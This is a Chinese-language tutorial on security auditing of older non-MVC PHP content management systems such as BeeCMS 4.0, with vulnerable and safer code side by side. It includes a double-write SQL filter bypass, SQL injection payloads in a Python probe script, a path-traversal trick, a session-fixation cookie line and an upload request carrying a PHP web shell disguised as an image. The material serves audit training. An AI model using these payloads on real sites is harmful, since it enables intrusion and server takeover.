当我们面对像BeeCMS 4.0这样的传统PHP程序时,首先需要理解其与现代MVC框架的本质区别。这类"前MVC时代"的产物通常呈现以下典型特征:
/article/存放文章相关功能,/member/处理用户账户init.php、fun.php这类文件替代了框架的基类,提供数据库连接、输入过滤等基础服务这种架构带来的安全审计挑战在于:漏洞往往隐藏在那些未被充分保护的"边缘功能"文件中,或是由于全局安全策略执行不一致而产生。我曾审计过一个地方政府网站,攻击者正是通过直接访问/admin/backup_db.php这个隐藏功能点实现了数据库导出,而该文件恰巧遗漏了权限验证。
首先使用tree命令生成目录结构图,重点关注以下几类文件:
bash复制# 生成目录结构树并过滤关键文件类型
tree -f -L 3 | grep -E '\.php|\.inc|\.config'
典型的老式CMS目录通常包含这些关键元素:
| 目录/文件类型 | 安全关注点 | 常见漏洞模式 |
|---|---|---|
/includes/ |
全局函数和类定义 | 过滤函数缺陷、类方法注入 |
/admin/ |
后台管理模块 | 未授权访问、二次注入 |
/upload/ |
文件存储目录 | 任意文件上传、目录遍历 |
config.php |
数据库配置 | 硬编码凭证、权限设置不当 |
install.php |
安装脚本 | 残留安装文件、锁定文件删除 |
提示:使用
find命令快速定位敏感操作函数:
find . -name "*.php" -exec grep -l "unlink\|exec\|system" {} \;
在审计init.php这类全局包含文件时,要特别关注其如何处理用户输入。以下是一个典型的输入过滤缺陷模式:
php复制// 不完整的过滤逻辑示例
function fl_value($str){
return preg_replace('/select|insert/i','',$str);
}
// 双写绕过示例
$payload = "selselectect * from users"; // 过滤后变为"select * from users"
针对这种过滤机制,审计时需要:
我曾遇到一个案例,系统对../的过滤仅执行一次替换,导致....//最终被解析为../,成功实现路径穿越。
非MVC架构中,权限检查往往通过包含验证文件实现,如:
php复制// 不安全的验证包含方式
$page = $_GET['module'];
require_once("modules/$page.php"); // 直接包含用户可控参数
// 相对安全的做法
$allowList = ['news','products'];
if(in_array($_GET['module'], $allowList)){
require_once("modules/{$_GET['module']}.php");
}
审计时要特别注意:
isset($_SESSION['admin'])而不验证具体值)/download.php?id=123可遍历其他用户文件文件上传/删除功能是老式CMS的高危点,审计时需验证:
php复制// 不安全的文件删除实现
$file = $_GET['file']; // 用户完全可控
unlink("/uploads/".$file);
// 更安全的实现
$allowFiles = ['1.jpg','2.pdf'];
if(in_array($_GET['file'], $allowFiles)){
unlink("/uploads/".basename($_GET['file']));
}
当发现像BeeCMS登录处这样的注入点时,可采用阶梯式验证法:
' → 报错则可能存在注入selselectect等双写绕过python复制# 自动化检测脚本示例(概念验证)
import requests
def test_sql_injection(url):
payloads = ["'", "1' OR '1'='1", "admin'--"]
for p in payloads:
r = requests.post(url, data={'user': p, 'pass':'test'})
if "error in your SQL" in r.text:
return f"Vulnerable to SQLi with payload: {p}"
return "No SQLi detected"
print(test_sql_injection("http://target.com/login.php"))
除了常规的MIME类型和扩展名绕过,在老系统中还可以尝试:
.php.jpg配合Apache解析缺陷http复制POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg # 伪造Content-Type
<?php system($_GET['cmd']);?>
------WebKitFormBoundaryABC123--
当无法直接获取后台权限时,可尝试:
javascript复制// 会话固定示例(需能设置用户Cookie)
document.cookie = "PHPSESSID=attacker_controlled_id; path=/";
建议建立自己的审计检查清单,包含以下维度:
输入源矩阵:
敏感函数映射:
markdown复制- **数据库操作**:`mysql_query`, `mysqli::prepare`
- **文件操作**:`fopen`, `unlink`, `file_get_contents`
- **命令执行**:`exec`, `system`, `passthru`
- **反序列化**:`unserialize`
上下文判断规则:
include($_GET['page'])echo $_GET['q']md5($password)在最近一次对某企业CMS的审计中,通过系统化检查unserialize()调用链,发现了一处可导致远程代码执行的反序列化漏洞,而该CMS的官方文档甚至未提及此功能的存在。